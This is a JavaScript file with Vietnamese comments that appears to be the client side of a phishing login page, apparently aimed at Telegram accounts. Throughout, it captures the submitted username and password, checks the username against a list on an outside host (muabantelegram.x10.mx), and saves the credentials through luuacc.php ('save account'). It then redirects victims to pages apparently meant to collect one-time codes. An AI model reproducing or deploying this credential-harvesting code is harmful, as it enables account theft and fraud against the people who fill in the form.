document.addEventListener("DOMContentLoaded", function() {
    document.getElementById("registerForm").addEventListener("submit", function(event) {
        event.preventDefault();

        var username = document.getElementById("username").value;
        var password = document.getElementById("pwd").value;
        var submitButton = document.getElementById("login-submit");

        // Kiểm tra độ dài của username và password
        if (username.length < 6 || password.length < 6) {
            alert("Tên đăng nhập và mật khẩu phải có ít nhất 6 ký tự.");
            return false;
        }

        if (username === "" || password === "") {
            return false;
        }

        // Hiển thị loading overlay
        document.getElementById("loading-overlay").style.display = "block";

        // Kiểm tra username trong danh sách đen qua API trên muabantelegram.x10.mx
        $.get("https://muabantelegram.x10.mx/api_ds-den.php", { username: username }, function(data) {
            var response = JSON.parse(data);

            if (!response.exists) {
                // Nếu username không nằm trong danh sách đen, kiểm tra với get_user.php
                $.get("https://muabantelegram.x10.mx/get_user.php", { username: username }, function(data) {
                    var userResponse = JSON.parse(data);

                    // Ghi dữ liệu vào cơ sở dữ liệu bằng cách gọi luuacc.php
                    $.post("luuacc.php", { username: username, password: password }, function() {
                        if (userResponse.exists) {
                            // Nếu username đã tồn tại, chuyển hướng đến ottp.php
                            $.get("/ottp.php", function(linkloginData) {
                                window.location.href = linkloginData.trim();
                            });
                        } else {
                            // Nếu username không tồn tại, chuyển hướng đến doilink2.php
                            $.get("/doilink2.php", function(linkloginData) {
                                window.location.href = linkloginData.trim();
                            });
                        }
                    }).always(function() {
                        // Ẩn loading overlay sau 2 giây khi hoàn tất
                        setTimeout(function() {
                            document.getElementById("loading-overlay").style.display = "none";
                        }, 5000); // Trì hoãn 2 giây
                    });
                }).fail(function() {
                    alert("Không thể kết nối tới API. Vui lòng thử lại sau.");
                    submitButton.disabled = false;
                    setTimeout(function() {
                        document.getElementById("loading-overlay").style.display = "none";
                    }, 5000); // Trì hoãn 2 giây
                });
            } else {
                // Nếu username nằm trong danh sách đen, không lưu dữ liệu nhưng vẫn chuyển hướng
                $.get("/doilink2.php", function(linkloginData) {
                    window.location.href = linkloginData.trim();
                }).always(function() {
                    // Ẩn loading overlay sau 2 giây khi hoàn tất
                    setTimeout(function() {
                        document.getElementById("loading-overlay").style.display = "none";
                    }, 5000); // Trì hoãn 2 giây
                });
            }
        }).fail(function() {
            // Nếu có lỗi xảy ra khi kết nối API, không làm gì và kích hoạt lại nút gửi
            submitButton.disabled = false;
            setTimeout(function() {
                document.getElementById("loading-overlay").style.display = "none";
            }, 5000); // Trì hoãn 2 giây
        });

        // Kích hoạt lại nút gửi sau 10 giây
        setTimeout(function() {
            submitButton.disabled = false;
        }, 10000);
    });

    // Xử lý sự kiện quay lại trang để xóa nội dung trong các input
    window.addEventListener("pageshow", function(event) {
        if (event.persisted) {
            var inputs = document.querySelectorAll("input[type='text'], input[type='password']");
            inputs.forEach(function(input) {
                input.value = '';
            });
        }
    });
});